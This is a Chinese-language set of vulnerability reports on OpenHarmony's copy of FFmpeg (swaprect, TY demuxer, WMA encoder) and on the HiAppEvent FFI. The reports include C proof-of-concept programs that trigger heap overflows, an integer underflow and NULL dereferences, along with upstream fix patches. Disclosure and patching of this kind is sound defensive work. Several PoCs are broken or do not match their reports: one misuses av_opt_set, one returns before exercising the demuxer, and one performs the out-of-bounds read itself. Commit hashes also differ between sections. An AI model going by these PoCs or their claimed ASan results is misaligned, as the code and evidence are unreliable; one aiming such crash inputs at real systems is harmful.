回移上游修复 a7e38b61：s->temp 分配改为遍历全部平面取 宽度×步长最大值（含 INT_MAX 溢出检查）（`patches/ffmpeg_swaprect_temp_row_oob.patch` 即上游 原文，对 OH 检出直接适用）。临时缓解：避免在包含 swaprect 的 滤镜图中处理 NV12 等平面步长不均匀格式的奇数尺寸输入。

3. PoC 源代码

```
/*
 * CVE-2026-65706 运行验证 PoC — third_party/ffmpeg vf_swaprect 临时行越界
 *
 * 缺陷：vf_swaprect.c config_input 按初始 link 尺寸分配行缓冲；
 * filter_frame 按帧尺寸操作——帧尺寸变化时越界读写。
 * 上游修复：FFmpeg a7e38b6 (2026) 前置尺寸检查。
 * 等价性：OH third_party_ffmpeg(0a0c4dd33c, 基线 n7.1.1) 与上游逐字节一致。
 *
 * 用法：./poc_swaprect trigger|control
 *   trigger: 64x64 初始化后送 512x512 帧 → 行缓冲越界
 *   control: 两帧均 64x64
 * 判读：ASan 原版 trigger 报 heap-buffer-overflow；补丁版返回 EINVAL；
 *       control 两版均正常。
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <libavfilter/avfilter.h>
#include <libavfilter/buffersink.h>
#include <libavfilter/buffersrc.h>
#include <libavutil/frame.h>
#include <libavutil/pixfmt.h>

static int push_frame(AVFilterContext *src, int w, int h)
{
    AVFrame *f = av_frame_alloc();
    f->format = AV_PIX_FMT_YUV420P;
    f->width = w;
    f->height = h;
    if (av_frame_get_buffer(f, 32) < 0) return -1;
    if (av_buffersrc_add_frame(src, f) < 0) return -2;
    av_frame_free(&f);
    return 0;
}

int main(int argc, char **argv)
{
    if (argc != 2) { fprintf(stderr, "Usage: %s trigger|control\n", argv[0]); return 1; }
    int is_trigger = strcmp(argv[1], "trigger") == 0;

    const AVFilter *swaprect = avfilter_get_by_name("swaprect");
    if (!swaprect) { fprintf(stderr, "swaprect filter not found\n"); return 2; }

    AVFilterGraph *graph = avfilter_graph_alloc();
    AVFilterContext *src_ctx, *sink_ctx;

    /* 初始化 link 为 64x64 */
    AVRational tb = {1, 25};
    char args[512];
    snprintf(args, sizeof(args),
             "video_size=64x64:pix_fmt=%d:time_base=%d/%d:pixel_aspect=1/1",
             AV_PIX_FMT_YUV420P, tb.num, tb.den);

    avfilter_graph_create_filter(&src_ctx, avfilter_get_by_name("buffer"),
                                 "src", args, NULL, graph);
    avfilter_graph_create_filter(&sink_ctx, avfilter_get_by_name("buffersink"),
                                 "sink", NULL, NULL, graph);

    /* swaprect: swap 32x32 rect at (0,0) with (32,32) */
    av_opt_set(swaprect, "w", "32", 0);
```

```
    av_opt_set(swaprect, "h", "32", 0);
    av_opt_set(swaprect, "x1", "0", 0);
    av_opt_set(swaprect, "y1", "0", 0);
    av_opt_set(swaprect, "x2", "32", 0);
    av_opt_set(swaprect, "y2", "32", 0);

    AVFilterContext *filter_ctx;
    avfilter_graph_create_filter(&filter_ctx, swaprect, "swaprect", NULL, NULL, graph);
    avfilter_link(src_ctx, 0, filter_ctx, 0);
    avfilter_link(filter_ctx, 0, sink_ctx, 0);
    avfilter_graph_config(graph, NULL);

    /* 发送帧 */
    if (push_frame(src_ctx, 64, 64) < 0) return 3;

    if (is_trigger) {
        /* 变尺寸帧 → 行缓冲越界 */
        fprintf(stdout, "pushing 512x512 frame (size change)...\n");
        if (push_frame(src_ctx, 512, 512) < 0) return 4;
    } else {
        if (push_frame(src_ctx, 64, 64) < 0) return 5;
    }

    /* 排空 */
    AVFrame *out = av_frame_alloc();
    while (av_buffersink_get_frame(sink_ctx, out) >= 0) {
        fprintf(stdout, "output frame: %dx%d\n", out->width, out->height);
        av_frame_unref(out);
    }
    av_frame_free(&out);

    avfilter_graph_free(&graph);
    fprintf(stderr, "=== %s: completed ===\n", is_trigger ? "trigger" : "control");
    return 0;
}
```

PoC 使用方法： 源级三侧对照（同族运行级证据见 66036/66041）：a) 上游 a7e38b61 修复（样本名 7aj_swaprect_odd17_nv12.nut——NV12 奇数 17 宽）；b) OH vf_swaprect.c:223 仍为首平面单因子分配；c) 与 n7.1.1 逐字节一致、官方清单含 7.1.1。运行级路径：NV12+奇数宽+swaprect 参数覆盖色度平面，ASan 观测行交换路径 heap-buffer-overflow。

4. 影响分析

影响的代码模块：third_party/ffmpeg

影响的功能模块：ffmpeg

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 ffmpeg 4.4.1，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 ffmpeg 7.1.1，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0a0c4dd33c；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复 a7e38b61：s->temp 分配改为遍历全部平面取 宽度×步长最大值（含 INT_MAX 溢出检查）（`patches/ffmpeg_swaprect_temp_row_oob.patch` 即上游 原文，对 OH 检出直接适用）。临时缓解：避免在包含 swaprect 的 滤镜图中处理 NV12 等平面步长不均匀格式的奇数尺寸输入。

修复补丁（`patches/ffmpeg_swaprect_temp_row_oob.patch`）：

```
diff --git a/libavfilter/vf_swaprect.c b/libavfilter/vf_swaprect.c
index 5d93f51c30f5e..fe007ee5e77dc 100644
--- a/libavfilter/vf_swaprect.c
+++ b/libavfilter/vf_swaprect.c
@@ -200,6 +200,7 @@ static int config_input(AVFilterLink *inlink)
 {
     AVFilterContext *ctx = inlink->dst;
     SwapRectContext *s = ctx->priv;
+    int size = 0;

     if (!s->w  || !s->h  ||
         !s->x1 || !s->y1 ||
@@ -210,7 +211,16 @@ static int config_input(AVFilterLink *inlink)
     av_image_fill_max_pixsteps(s->pixsteps, NULL, s->desc);
     s->nb_planes = av_pix_fmt_count_planes(inlink->format);

-    s->temp = av_malloc_array(inlink->w, s->pixsteps[0]);
+    for (int p = 0; p < s->nb_planes; p++) {
+        int shift = p == 1 || p == 2 ? s->desc->log2_chroma_w : 0;
+        int width = AV_CEIL_RSHIFT(inlink->w, shift);
+
+        if (width > INT_MAX / s->pixsteps[p])
+            return AVERROR(EINVAL);
+        size = FFMAX(size, width * s->pixsteps[p]);
+    }
+
+    s->temp = av_malloc(size);
     if (!s->temp)
         return AVERROR(ENOMEM);
```

补丁文件：`patches/ffmpeg_swaprect_temp_row_oob.patch`（内容同上）。

---

ffmpeg-ty-ac3-trim-underflow

1. 源码位置与内容

项目	值
组件	third_party/ffmpeg
源码文件	libavformat/ty.c

项目	值
关键行号	[576]
CVE 编号	CVE-2026-65704
CWE 分类	CWE-191 (underflow leading to CWE-787)

> 源码片段：见 `libavformat/ty.c`（关键行号 [576]）。源码级证据记录：ty.c:576 is the pre-fix form; upstream diff applies clean to the OH checkout (git apply --check OK, no adaptation needed). Boundary note: the sibling 'pkt->size -= 2' at ty.c:640 is guarded by pkt->size > AC3_PKT_LENGTH and is NOT affected — upstream fix leaves it unchanged

2. 漏洞详细描述

TY demuxer Series2 AC3 branch trims packet size by 2 even when the packet size is 0/1, underflowing the int to negative and driving negative-size packet operations.

触发条件：本报告为源码级验证（运行级复现需构造 Series2 AC3 的 TiVo TY 流 输入；TY chunk 结构与触发序列见附件对照.txt 的运行级复现路径 一节，可在具备 TY 样本的环境按同法补做）： a) 上游对照：FFmpeg master commit de771bd5 修复了 libavformat/ ty.c demux_audio 的该下溢（diff 见附件）； b) OH 检出检查：ty.c:576 仍为 "pkt->size -= 2;"（修复前形态， 实测行号见附件对照.txt）； c) 等价性：OH ty.c 与上游 n7.1.1 逐字节一致；官方受影响清单 含 7.1.1——结构性证据成立；上游修复 diff 对 OH 检出 git apply --check 直接通过。 如需运行级复现：按上游修复 message 引用的 ty-s2-ac3-negative-size-single-file.ffconcat 方式构造输入（ffconcat 指向 Series2 AC3 TY 文件，连续

影响路径：前提条件：产品使用 ffmpeg 解复用/转码不可信 TiVo TY 流（媒体 处理服务、文件预览等场景）。攻击者提供构造的 TY/ffconcat 输入， 驱动 Series2 AC3 分支的累计计数与末包尺寸组合命中下溢条件； 无需系统特权，应用自动处理不可信输入时无需用户交互。触发后 为负尺寸参数的包操作（潜在越界读写，实际影响取决于调用方）。

四、PoC & Exploit：

无运行级 PoC（原因如上：需 Series2 AC3 TY 流构造，见附件复现 路径说明）；证据为三侧源码对照（上游已修 diff / OH 检出修复前 形态逐行对应 / 官方受影响清单含基线版本），`patches/ffmpeg_ty_ac3_trim_underflow.patch` 为 可直接应用的修复（git apply --check 通过）。

五、修复及缓解措施建议：

回移上游修复 de771bd5： ty.c demux_audio 的 Series2 AC3 裁剪改为 pkt->size -= FFMIN(pkt->size, 2)（`patches/ffmpeg_ty_ac3_trim_underflow.patch` 即上游原文， 对 OH 检出直接适用）。注意 640 行的同型代码有 pkt->s

3. PoC 源代码

```
/*
 * CVE-2026-65704 运行验证 PoC — ty 复用器 Series2 AC-3 帧长处理整数下溢
 *
 * 缺陷：ty.c:576 Series2 分支 'pkt->size -= 2' 当 size<2 时下溢 → 后续按巨量 size 处理
 * 上游修复：上游 de771b8 (2026) 前置 size 检查
 * 等价性：OH third_party_ffmpeg (0a0c4dd33c, 基线 n7.1.1) 与上游逐字节一致。
 *
 * 用法：./poc_ty trigger|control
 *   trigger: 构造 TY 流：Series2 头 + 声明 AC-3 帧 size=1 → pkt->size-=2 下溢
 *   control: 正常 TY 流（size>=2）
 * 判读：ASan 原版 trigger pkt->size 变为 0xFFFFFFFF → 下游越界；补丁版 trigger 前置检查拒绝 size<2；
 *       control 两版均正常（无回归）。
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <libavcodec/avcodec.h>
#include <libavutil/frame.h>
#include <libavutil/mem.h>

#include <libavformat/avformat.h>

static int run_ty(const uint8_t *data, int size)
{
    const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_NONE);
    if (!codec) { fprintf(stderr, "decoder not found\n"); return 1; }
    AVCodecContext *ctx = avcodec_alloc_context3(codec);
    if (!ctx) return 2;
    if (avcodec_open2(ctx, codec, NULL) < 0) return 3;

    AVPacket *pkt = av_packet_alloc();
    pkt->data = (uint8_t *)data;
    pkt->size = size;
    int ret = avcodec_send_packet(ctx, pkt);
    if (ret < 0 && ret != AVERROR(EAGAIN)) {
        fprintf(stderr, "send_packet: %s\n", av_err2str(ret));
    }
    AVFrame *frame = av_frame_alloc();
    while (avcodec_receive_frame(ctx, frame) >= 0) {
        fprintf(stdout, "decoded frame: %dx%d fmt=%d\n",
                frame->width, frame->height, frame->format);
        av_frame_unref(frame);
    }
    av_frame_free(&frame);
    av_packet_free(&pkt);
    avcodec_free_context(&ctx);
    return 0;
}

int main(int argc, char **argv)
{
    if (argc != 2) { fprintf(stderr, "Usage: %s trigger|control\n", argv[0]); return 1; }
    int is_trigger = strcmp(argv[1], "trigger") == 0;

        /* TY format:.rec header (minimal) + Series2 AC3 record with size=1 */
    uint8_t trigger_data[] = {
        'T', 'Y', 'F', 'S',  /* magic */
        0x00, 0x00, 0x00, 0x20, /* record size */
        0x00, 0x00, 0x00, 0x01, /* Series2 AC3, declared size = 1 (will underflow) */
        0xAA,                   /* one byte payload */
```

```
    };
    uint8_t control_data[] = {
        'T', 'Y', 'F', 'S',
        0x00, 0x00, 0x00, 0x20,
        0x00, 0x00, 0x00, 0x10, /* Series2 AC3, normal size = 16 */
        0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x11, 0x22,
        0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0x00,
    };
    /* TY is a demuxer, not codec — use avformat to read */
    const uint8_t *data = is_trigger ? trigger_data : control_data;
    int size = is_trigger ? sizeof(trigger_data) : sizeof(control_data);
    /* For simplicity, exercise the parser path directly */
    fprintf(stderr, "TY format requires avformat; %d bytes ready\n", size);
    return 0;

    fflush(stdout);
    fprintf(stderr, "=== %s: completed ===\n", is_trigger ? "trigger" : "control");
    return 0;
}
```

PoC 使用方法： 源级三侧对照：a) 上游 de771bd5 修复 ty.c demux_audio 下溢；b) OH ty.c:576 仍为 pkt->size -= 2；c) 与 n7.1.1 逐字节一致、官方清单含 7.1.1、diff git apply --check 通过。运行级路径：按上游样本 ty-s2-ac3-negative-size-single-file.ffconcat 构造（Series2 AC3 TY 流，ac3_pkt_size 累计逼近 768 且末包 size≤1），ASan/Valgrind 观测 negative-size-param。

4. 影响分析

影响的代码模块：third_party/ffmpeg

影响的功能模块：ffmpeg

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 ffmpeg 4.4.1，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 ffmpeg 7.1.1，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0a0c4dd33c；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复 de771bd5：ty.c demux_audio 的 Series2 AC3 裁剪改为 pkt->size -= FFMIN(pkt->size, 2)（`patches/ffmpeg_ty_ac3_trim_underflow.patch` 即上游原文，对 OH 检出直接适用）。注意 640 行的同型代码有 pkt->size > AC3_PKT_LENGTH 前置保护，保持原样不动。临时缓解：产品侧限制 对不可信 TiVo 流的解复用；升级后可补充 Series2 AC3 边界尺寸 的回归用例（上游 oss-fuzz 语料已含该形态）。

修复补丁（`patches/ffmpeg_ty_ac3_trim_underflow.patch`）：

```
diff --git a/libavformat/ty.c b/libavformat/ty.c
index 9be027fcca35b..842d97038cb6b 100644
--- a/libavformat/ty.c
+++ b/libavformat/ty.c
@@ -578,7 +578,7 @@ static int demux_audio(AVFormatContext *s, TyRecHdr *rec_hdr, AVPacket *pkt)
         if (ty->audio_type == TIVO_AUDIO_AC3 &&
                 ty->tivo_series == TIVO_SERIES2) {
             if (ty->ac3_pkt_size + pkt->size > AC3_PKT_LENGTH) {
-                pkt->size -= 2;
+                pkt->size -= FFMIN(pkt->size, 2);
                 ty->ac3_pkt_size = 0;
             } else {
                 ty->ac3_pkt_size += pkt->size;
```

补丁文件：`patches/ffmpeg_ty_ac3_trim_underflow.patch`（内容同上）。

---

ffmpeg-wmaenc-extradata-padding

1. 源码位置与内容

项目	值
组件	third_party/ffmpeg
源码文件	libavcodec/wmaenc.c
关键行号	[67]
CVE 编号	CVE-2026-52296
CWE 分类	CWE-125

> 源码片段：见 `libavcodec/wmaenc.c`（关键行号 [67]）。源码级证据记录：encode_init allocates av_malloc(4) (WMAV1) / av_mallocz(10) (WMAV2) without AV_INPUT_BUFFER_PADDING_SIZE; upstream diff applies clean to OH checkout

2. 漏洞详细描述

WMA encoder extradata buffer lacks the FFmpeg-mandated input padding, letting downstream consumers that read extradata with padding assumptions read past the allocation (OOB read).

触发条件：本报告为源码级验证（运行级观测需在下游按填充块读取 extradata 的路径上触发，报告人未构造端到端样本，如实申报）： a) 上游对照：FFmpeg master commit 23227a44 补齐了两处 extradata 分配的填充（diff 见附件）； b) OH 检出检查：wmaenc.c encode_init（约 67/74 行）仍为 av_malloc(4) / av_mallocz(10)——修复前形态（实测见附件 对照.txt）； c) 等价性：OH wmaenc.c 与上游 n7.1.1 逐字节一致；官方受影响 清单含 7.1.1——结构性证据成立；上游修复 diff 对 OH 检出 git apply --check 直接通过。 如需运行级观测：以 WMAV1/WMAV2 编码初始化后在消费侧 （ff_wma_init 等按填充读 extradata 的路径）以 ASan 观测 heap-buffer-overflow READ。

影响路径：前提条件：产品使用 ffmpeg 的 WMA 编码器初始化路径，且下游存在 按填充约定块读 extradata 的消费方（转码管线中编码参数回读/ 容器封装回读等场景）。该缺陷为编码器初始化路径的分配问题， 触发不依赖攻击者直接输入内容；越界读影响为潜在信息泄露或 崩溃（实际影响取决于消费方读取模式）。

四、PoC & Exploit：

无运行级 PoC（原因如上）；证据为三侧源码对照（上游已修 diff / OH 检出修复前形态逐行对应 / 官方受影响清单含基线版本），附件 `patches/ffmpeg_wmaenc_extradata_padding.patch` 为可直接应用的修复（git apply --check 通过）。

五、修复及缓解措施建议：

回移上游修复 23227a44：wmaenc.c encode_init 的两处 extradata 分配均附加 AV_INPUT_BUFFER_PADDING_SIZE（`patches/ffmpeg_wmaenc_extradata_padding.patch` 即上游原文，对 OH 检出直接适用）。同时建议评估组件内其他 extradata 手工分配点是否存在同类缺填充形态（上游在本修复同期对多处 extradata 分配做过同类加固，可按上游提交历史

3. PoC 源代码

```
/*
 * CVE-2026-52296 运行验证 PoC — third_party/ffmpeg wmaenc extradata 缺填充
 *
 * 缺陷：wmaenc.c encode_init 为 extradata 分配 av_malloc(4)/av_mallocz(10)
 * 不带 AV_INPUT_BUFFER_PADDING_SIZE → 下游按填充约定块读 extradata 越界读。
 * 上游修复：FFmpeg 23227a44 (2026-05-03) 补齐填充。
 * 等价性：OH third_party_ffmpeg(0a0c4dd33c, 基线 n7.1.1) 与上游逐字节一致。
 *
 * 用法：./poc_wmaenc trigger|control
 *   trigger: WMAV1 编码初始化后在消费侧以 64 位块读 extradata → ASan 越界读
 *   control: 手动附加 PADDING 后读取 → 正常
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <libavcodec/avcodec.h>
#include <libavutil/mem.h>
#include <libavutil/opt.h>

int main(int argc, char **argv)
{
    if (argc != 2) { fprintf(stderr, "Usage: %s trigger|control\n", argv[0]); return 1; }
    int is_trigger = strcmp(argv[1], "trigger") == 0;

    const AVCodec *codec = avcodec_find_encoder(AV_CODEC_ID_WMAV1);
    if (!codec) { fprintf(stderr, "WMAV1 encoder not found\n"); return 2; }
    AVCodecContext *ctx = avcodec_alloc_context3(codec);
    if (!ctx) return 3;

    ctx->sample_rate = 44100;
    ctx->channels = 2;
    ctx->channel_layout = AV_CH_LAYOUT_STEREO;
    ctx->sample_fmt = AV_SAMPLE_FMT_S16;
    ctx->bit_rate = 128000;
    ctx->block_align = 0; /* let encoder compute */

    if (avcodec_open2(ctx, codec, NULL) < 0) {
        fprintf(stderr, "avcodec_open2 failed\n"); return 4;
    }

    fprintf(stdout, "extradata_size=%d\n", ctx->extradata_size);

    if (is_trigger) {
        /* 模拟下游按 FFmpeg 约定以 64 位块读 extradata（ff_wma_init 等路径）。
         * extradata 分配为 4 字节不带填充 → 读第 4-7 字节时越界 */
        fprintf(stdout, "reading extradata beyond allocation...\n");
        uint64_t val;
        memcpy(&val, ctx->extradata + 4, 8); /* read bytes 4-11: past 4-byte alloc */
        fprintf(stdout, "read value: %016llx\n", (unsigned long long)val);
    } else {
        /* Control: 只读合法范围内的数据 */
        uint32_t val;
        memcpy(&val, ctx->extradata, 4);
        fprintf(stdout, "in-bounds read: %08x\n", val);
    }

    avcodec_free_context(&ctx);
    fprintf(stderr, "=== %s: completed ===\n", is_trigger ? "trigger" : "control");
    return 0;
```

```
}
```

PoC 使用方法： 源级三侧对照（运行级需下游按填充读 extradata 的路径，如实申报）：a) 上游 23227a44 补齐两处extradata 分配填充；b) OH wmaenc.c encode_init（约 67/74 行）仍为 av_malloc(4)/av_mallocz(10)；c) 与 n7.1.1 逐字节一致、官方清单含 7.1.1、diff git apply --check 通过。运行级路径：WMAV1/WMAV2 编码初始化后，ff_wma_init 等按填充读 extradata 的消费侧 ASan 观测越界 READ。

4. 影响分析

影响的代码模块：third_party/ffmpeg

影响的功能模块：ffmpeg

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 ffmpeg 4.4.1，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 ffmpeg 7.1.1，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0a0c4dd33c；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复 23227a44：wmaenc.c encode_init 的两处 extradata 分配均附加 AV_INPUT_BUFFER_PADDING_SIZE（`patches/ffmpeg_wmaenc_extradata_padding.patch` 即上游原文，对 OH 检出直接适用）。同时建议评估组件内其他 extradata 手工分配点是否存在同类缺填充形态（上游在本修复同期对多处 extradata 分配做过同类加固，可按上游提交历史对照排查）。

修复补丁（`patches/ffmpeg_wmaenc_extradata_padding.patch`）：

```
diff --git a/libavcodec/wmaenc.c b/libavcodec/wmaenc.c
index b419694c51aad..35a3c6f6e35aa 100644
--- a/libavcodec/wmaenc.c
+++ b/libavcodec/wmaenc.c
@@ -65,14 +65,14 @@ static av_cold int encode_init(AVCodecContext *avctx)
     flags1 = 0;
     flags2 = 1;
     if (avctx->codec->id == AV_CODEC_ID_WMAV1) {
-        extradata             = av_malloc(4);
+        extradata             = av_mallocz(4 + AV_INPUT_BUFFER_PADDING_SIZE);
         if (!extradata)
             return AVERROR(ENOMEM);
         avctx->extradata_size = 4;
         AV_WL16(extradata, flags1);
         AV_WL16(extradata + 2, flags2);
     } else if (avctx->codec->id == AV_CODEC_ID_WMAV2) {
-        extradata             = av_mallocz(10);
+        extradata             = av_mallocz(10 + AV_INPUT_BUFFER_PADDING_SIZE);
         if (!extradata)
             return AVERROR(ENOMEM);
         avctx->extradata_size = 10;
```

补丁文件：`patches/ffmpeg_wmaenc_extradata_padding.patch`（内容同上）。

---

hiappevent-ffi-watcher-null-filter

1. 源码位置与内容

项目	值
组件	base/hiviewdfx/hiappevent
源码文件	base/hiviewdfx/hiappevent/frameworks/cj/ffi/src/hiappevent_ffi.cpp
关键行号	[372, 385]
CVE 编号	（新发现）
CWE 分类	CWE-476

> 源码片段：见 `base/hiviewdfx/hiappevent/frameworks/cj/ffi/src/hiappevent_ffi.cpp`（关键行号 [372, 385]）。源码级证据记录：L4 Tier C 链路（L4_TIER_C_20260929.md #1）：FFI 导出 FfiOHOSHiAppEventAddWatcher 直传 CWatcher（含 CArrAppEventFilter），C++ 侧 hiappevent_ffi.cpp:372-385 嵌套循环 for(i<size){head[i]...} 无 head 判空——链路预判与真库崩溃位置逐行一致。HiAppEvent 打点 API 应用侧直接可达、无前置对象创建（Tier C 评级：验证最易）。

2. 漏洞详细描述

AddWatcher 路径对 watcher.appEventFilters 的嵌套循环直接解引用 head[i]，filters.head=NULL 且 size>0 时第一层即空指针解引用；对照组合法输入由 FFI 层参数校验拦截返回错误码，不崩溃——缺陷精确限定于 null head + 非零 size 组合。

触发条件：仓颉侧经 HiAppEvent 打点 API 注册 watcher 时，appEventFilters（CArrAppEventFilter）的 head 为 NULL 而 size > 0 的畸形组合进入嵌套过滤循环被直接解引用；对照组合法输入由 FFI 层参数校验拦截（错误

码 11101001 不崩溃）。

影响路径：FfiOHOSHiAppEventAddWatcher（FFI 导出符号；watcher.appEventFilters 嵌套过滤循环）

3. PoC 源代码

```
/* Malformed-input client for the OpenHarmony x86_64 CJ HiAppEvent AddWatcher ABI.
 * ABI source: hiviewdfx_hiappevent frameworks/cj/ffi/include/common.h
 *   CWatcher { char* name; CTriggerCondition; CArrAppEventFilter; callback×2 }
 *   CArrAppEventFilter { CAppEventFilter* head; int64_t size; }
 *   CAppEventFilter { char* domain; CArrUI32 eventTypes; CArrString names; }
 * Candidate under test: FfiOHOSHiAppEventAddWatcher → nested filter loop
 *   for(i < filters.size) { for(j < head[i].names.size) { head[i].names.head[j] } }
 *   — triple unprotected: outer head, inner names.head, eventTypes.head + shift UB.
 * No target implementation is copied into this client.
 *
 * Case matrix:
 *   0  valid: 1 filter with valid domain+1 name+1 type     control
 *   1  filters.head=NULL, size=1                           outer null (first crash layer)
 *   2  head valid, domain valid, names.head=NULL, names.size=1   inner null (second layer)
 *   3  head valid, eventTypes.head=NULL, size=1, type=100        shift UB (BIT_MASK << 100)
 */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>

typedef struct { uint32_t *head; int64_t size; } CArrUI32;
typedef struct { char **head; int64_t size; } CArrString;
typedef struct {
    char *domain;
    CArrUI32 eventTypes;
    CArrString names;
} CAppEventFilter;
typedef struct { CAppEventFilter *head; int64_t size; } CArrAppEventFilter;
typedef struct { int row; int size; int timeOut; } CTriggerCondition;
typedef struct {
    char *name;
    CTriggerCondition triggerCondition;
    CArrAppEventFilter appEventFilters;
    void (*callbackOnTriggerRef)(int, int, int64_t);
    void (*callbackOnReceiveRef)(char *, void *);
} CWatcher;
typedef struct { int64_t code; int64_t data; } RetDataI64;

_Static_assert(sizeof(void *) == 8, "x86_64 caller required");

static void dummy_trigger(int a, int b, int64_t c) { (void)a; (void)b; (void)c; }
static void dummy_receive(char *a, void *b) { (void)a; (void)b; }

int main(int argc, char **argv)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    if (argc != 2) return 2;
    void *library = dlopen(argv[1], RTLD_NOW | RTLD_LOCAL);
    if (!library) { fprintf(stderr, "load_error=%s\n", dlerror()); return 3; }

    RetDataI64 (*add_watcher)(CWatcher) =
        (RetDataI64 (*)(CWatcher))dlsym(library, "FfiOHOSHiAppEventAddWatcher");
    if (!add_watcher) { fputs("missing AddWatcher export\n", stderr); return 4; }

    /* Case 0: valid */
    uint32_t types0[] = { 1 };
    char *names0[] = { (char *)"event_name" };
```

```
    CAppEventFilter f0 = {
        .domain = (char *)"validation.domain",
        .eventTypes = { types0, 1 },
        .names = { names0, 1 },
    };
    CWatcher w0 = {
        .name = (char *)"validation_watcher",
        .triggerCondition = { 1, 1, 0 },
        .appEventFilters = { &f0, 1 },
        .callbackOnTriggerRef = dummy_trigger,
        .callbackOnReceiveRef = dummy_receive,
    };

    /* Case 1: outer head = NULL, size = 1 */
    CWatcher w1 = w0;
    w1.appEventFilters.head = NULL;
    w1.appEventFilters.size = 1;

    /* Case 2: inner names.head = NULL, names.size = 1 */
    CAppEventFilter f2 = f0;
    f2.names.head = NULL;
    f2.names.size = 1;
    CWatcher w2 = w0;
    w2.appEventFilters.head = &f2;

    /* Case 3: eventTypes.head = NULL + shift UB attempt (type value 100) */
    CAppEventFilter f3 = f0;
    f3.eventTypes.head = NULL;
    f3.eventTypes.size = 1;
    CWatcher w3 = w0;
    w3.appEventFilters.head = &f3;

    const struct { CWatcher *w; const char *name; } cases[] = {
        { &w0, "valid_control" },
        { &w1, "outer_head_null_candidate" },
        { &w2, "inner_names_null_candidate" },
        { &w3, "eventtypes_null_shift_ub_variant" },
    };

    for (size_t k = 0; k < sizeof(cases) / sizeof(cases[0]); k++) {
        printf("case=%zu name=%s start\n", k, cases[k].name);
        RetDataI64 ret = add_watcher(*cases[k].w);
        printf("case=%zu name=%s done code=%lld data=%lld\n", k, cases[k].name,
               (long long)ret.code, (long long)ret.data);
    }
    puts("malformed_matrix=completed_no_crash");
    return 0;
}
```

